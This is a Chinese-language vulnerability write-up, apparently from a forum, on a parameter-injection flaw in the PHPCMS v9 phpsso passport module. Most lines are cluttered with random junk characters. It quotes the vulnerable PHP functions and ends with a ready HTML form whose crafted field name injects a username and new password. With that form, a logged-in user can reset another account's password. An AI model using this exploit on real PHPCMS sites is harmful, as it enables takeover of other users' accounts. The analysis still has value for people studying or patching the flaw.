提到的通行证的代码:
. l. x3 \! P, F9 i p- h: h0 |. }' O Y& o
9 p% T# d+ \. ~; p6 A7 u4 d! E
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);+ `& U! G9 d+ c8 g9 e
* Q, W! n- H7 r3 x在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。% v2 G% Q9 D* O# H3 z) b
+ ~5 A* {( S9 O7 f1 M我把它留给了你们。
& {, w& b' D G; @! k: ^, b不知道你们发现了它没有。. z$ O5 F- Z; Q! A- J$ j5 W3 ^% P
1 c% G2 @6 q: i `/ ?+ w( x我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 p" ?0 [$ M0 W1 ?+ K' o
+ t+ l. @* V a% A, ~+ W9 `所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。# K. x, c) ?" D% s; R' u& j7 q
1 t; D$ B4 X" N/ Z也就是5 I$ s! z1 Q8 W$ y0 I( q% l
2 U0 y% b) G4 y6 Y' a2 A
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
3 y& c. w% Z3 ?; _% ?' g7 ^. T" @0 |, E" R
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。) x- @0 E1 r/ C i
4 f ?: O* f5 [
8 b' n. \+ Q- R- y- ~7 O, `2 h( Z其实我们有这样的机会,看看代码,如下:
( |; h1 {1 s; }9 L
( B6 Y- e$ ^. u) `5 L, k' O3 j. G3 }3 e
public function auth_data($data) {
! E0 }/ s1 ` y" Y3 U8 O3 ~ $s = $sep = '';" M. Q- E$ n: k& I1 d3 x
foreach($data as $k => $v) {
& {/ P9 o- n; w B3 m3 ~ if(is_array($v)) {
0 ~7 M: S! d9 s% o% V# h. ^$ k $s2 = $sep2 = '';
' c* j8 X9 s$ i. l W foreach($v as $k2 => $v2) {
! L; d: T/ W4 T8 w3 }, D. a: y $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);6 D+ u; ^4 e& s2 @% I' y
$sep2 = '&';% x1 T8 R7 y7 O3 @3 `
}
2 M. t/ x p- h+ a; W $s .= $sep.$s2;
& f' T3 a+ }3 V0 F+ a9 b } else {6 Z/ F: g/ u$ x0 |- b/ ^" u4 ~
$s .= "$sep$k=".$this->_ps_stripslashes($v);
: ~9 l( T% f8 E& m6 i+ w0 ~ }. [- o9 N1 w* S* Q1 n3 u3 X1 E
$sep = '&';
+ A$ s: M* _6 U* }' w2 U8 f- [ }
0 c9 v- s$ o2 D3 K+ s2 I8 J3 ^: B4 s. Z
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));, w6 g/ y- D, `9 v h# b1 ]! K9 n
return $auth_s;
/ e$ U4 |2 P" h0 I }
/ _. { ]8 p. X! W. D6 E9 u: Y2 E7 Y5 z. r" i% \
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。* ?2 s4 B/ V: m" ^+ q$ [4 z1 _
; P4 Q# X4 i; m8 y9 U7 e+ \举个例子
& v: ~* {9 D( \4 a
/ @! Y$ D0 ] D, H1 l3 H& J* }$a[aaa=a&bbb] = 'a';% e) z4 {' J c* R# u" }3 h) E% s" F/ E
/ ] E: _" w6 s2 n4 X
会变成aaa=a&bbb=a
`$ l) M0 E3 p! G+ u, V' Y. C9 I5 S5 ? ^ I$ \
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
J" V: T3 |6 N3 j+ U/ R
7 U: N0 z/ t! [) _' R" k这个时候,我们可以再去看一个函数。# x7 t7 M( M0 `" j, `, q4 B5 h
: _/ E0 Q4 B. P0 m% j: p( S就在这个文件内:
- ?# n- v/ C6 M. }* t# t2 p- v7 [/ `. i w6 c
- S1 v& Q5 R' f4 Apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
4 F( X F: ]4 o' R3 s9 X7 t# v$ G if($email && !$this->_is_email($email)) {
# m8 Q0 \4 l* D& D2 ` Y8 w+ r return -4;. L6 }. Y, \! |3 R
}
; \" X/ @$ W# s% k return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
2 V5 F; h) K+ [* u }) }/ n- F b3 I6 J W2 n; h
) b$ y( i& e$ {1 s+ G H
这是向通行证发了这样一个请求。
' a: i6 v2 R ~# E
5 ?6 a! q' h0 @$ i" c我们再跟到通信证代码里去看看,就会有所发现。
+ Q# Q7 S/ s' z: V! |+ B& o: Q7 s
8 e* @: T) m4 m% o ~2 V" s
7 J% ^ V3 o% R. Q2 q8 cpublic function edit() {
7 G: J) ~$ m; D7 Y8 a& H* j//能省就省,太长了不是吗?. m7 N" q* [- \( {! B, _
* A4 ]1 _1 X( F! o/ _, Hif($this->username) {
+ {9 e' U/ U* \) A1 Q3 D- j//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" _ S3 g: X# {) j& J2 K $res = $this->db->update($data, array('username'=>$this->username));
( [& a1 A) V6 P7 l6 c: ~4 T } else {
9 W: h; \. d: m file_put_contents('typeb.txt',print_r($data,1).$this->uid);* S& w$ W) k* ]# e* Q3 z
$res = $this->db->update($data, array('uid'=>$this->uid));
0 M5 u6 e# d1 ?) ?* _. c7 E }
2 s; q, @" |8 a7 c, S- r6 T$ N7 t) P4 z6 {& N& |9 Y( w
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:2 }- a, G0 [& K0 l! o( D N
6 ? f6 h+ Y$ m4 E- {1 J
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
' W. h& M L$ D. ~* v/ {* z G( E. b' q$ F: N
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
( W7 e. c2 p, }8 x1 s
2 U$ I8 @4 b' e& u2 _我当然找到了:
8 R: ~* e; M" p! Hphpcms9/phpcms/modules/member/index.php
% Y( i! q0 n* y0 f4 G# p! u. t& v
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
: ]+ `' H9 y! V, R- Z5 f7 w, ^
; K+ Y9 [& @3 J2 E然后就没有然后了。+ i7 w1 l C( q8 S. O6 Q
# @& p/ t2 ^$ u! O" M7 D& @
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">) j$ f! S! a. `+ a
<table width="100%" cellspacing="0" class="table_form">
4 c7 i5 F+ i A# X <tr>+ D1 t' ]+ \% J
<th width="80">邮箱:</th>
6 n8 j/ K* U' n' q9 i0 t <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- g; F) W5 t; e: I2 e$ P# Y
</tr>2 ^" |; p& z+ m1 }) K; y# v( {# Q
<tr>6 z- _& {/ L2 e3 Y$ Q
<th width="80">原密码:</th>
9 x5 ]& L/ B/ R4 A' s9 q5 U <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>% Y: Z& `, j; h* l9 f
</tr>
; m9 a' R* J6 Z3 N8 m( P <tr>& u4 R7 w/ t5 M. i8 B, H. l, P
<th>新密码:</th>: F' q4 { W; `0 u8 z, O+ N* b
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>- P* X; M% n7 f; G' x& P0 j( F
</tr>
! \; f/ N+ d! z0 ~0 P; |% |; M- D <th></th>2 d# t' ^9 P) f
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
2 d: P) B9 m- m </tr>7 L* v' O6 P! ^. I" Z( ?! f. |" n, K
</table>) g0 @$ `( C, I) @. f+ C9 X& j
8 s1 B @5 ^: \' _4 W9 y1 S+ N $ K# y3 k7 }9 g* e
</form>
- p& A7 d" o0 u9 d |